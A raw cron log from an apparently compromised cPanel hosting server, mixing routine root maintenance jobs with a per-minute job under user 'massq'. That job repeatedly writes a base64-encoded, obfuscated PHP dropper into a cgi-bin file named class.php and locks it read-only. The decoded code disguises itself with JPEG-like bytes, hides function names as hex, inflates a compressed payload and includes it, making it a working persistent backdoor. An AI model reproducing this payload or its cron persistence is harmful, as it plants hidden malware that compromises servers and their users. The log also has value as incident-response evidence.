Sep  8 18:27:01 server CROND[10106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:28:01 server CROND[10537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:28:01 server CROND[10538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:28:01 server CROND[10539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:29:01 server CROND[10923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:29:01 server CROND[10924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:29:01 server CROND[10925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:30:01 server CROND[11328]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:30:01 server CROND[11334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:30:01 server CROND[11332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:30:01 server CROND[11331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:30:01 server CROND[11333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:30:01 server CROND[11344]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:30:01 server CROND[11343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:30:01 server CROND[11342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:31:01 server CROND[12185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:31:01 server CROND[12186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:31:01 server CROND[12187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:32:01 server CROND[12698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:32:01 server CROND[12700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:32:01 server CROND[12699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:33:01 server CROND[13091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:33:01 server CROND[13092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:33:01 server CROND[13093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:34:01 server CROND[13468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:34:01 server CROND[13469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:34:01 server CROND[13470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:35:01 server CROND[13860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:35:01 server CROND[13862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:35:01 server CROND[13867]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 18:35:01 server CROND[13868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:35:01 server CROND[13869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:35:01 server CROND[13873]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:35:01 server CROND[13871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:35:01 server CROND[13870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:35:01 server CROND[13875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:36:01 server CROND[14721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:36:01 server CROND[14722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:36:01 server CROND[14723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:37:01 server CROND[15109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:37:01 server CROND[15110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:37:01 server CROND[15111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:38:01 server CROND[15590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:38:01 server CROND[15591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:38:01 server CROND[15592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:39:01 server CROND[15972]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 18:39:01 server CROND[15971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:39:01 server CROND[15974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:39:01 server CROND[15973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:40:01 server CROND[16374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:40:01 server CROND[16375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
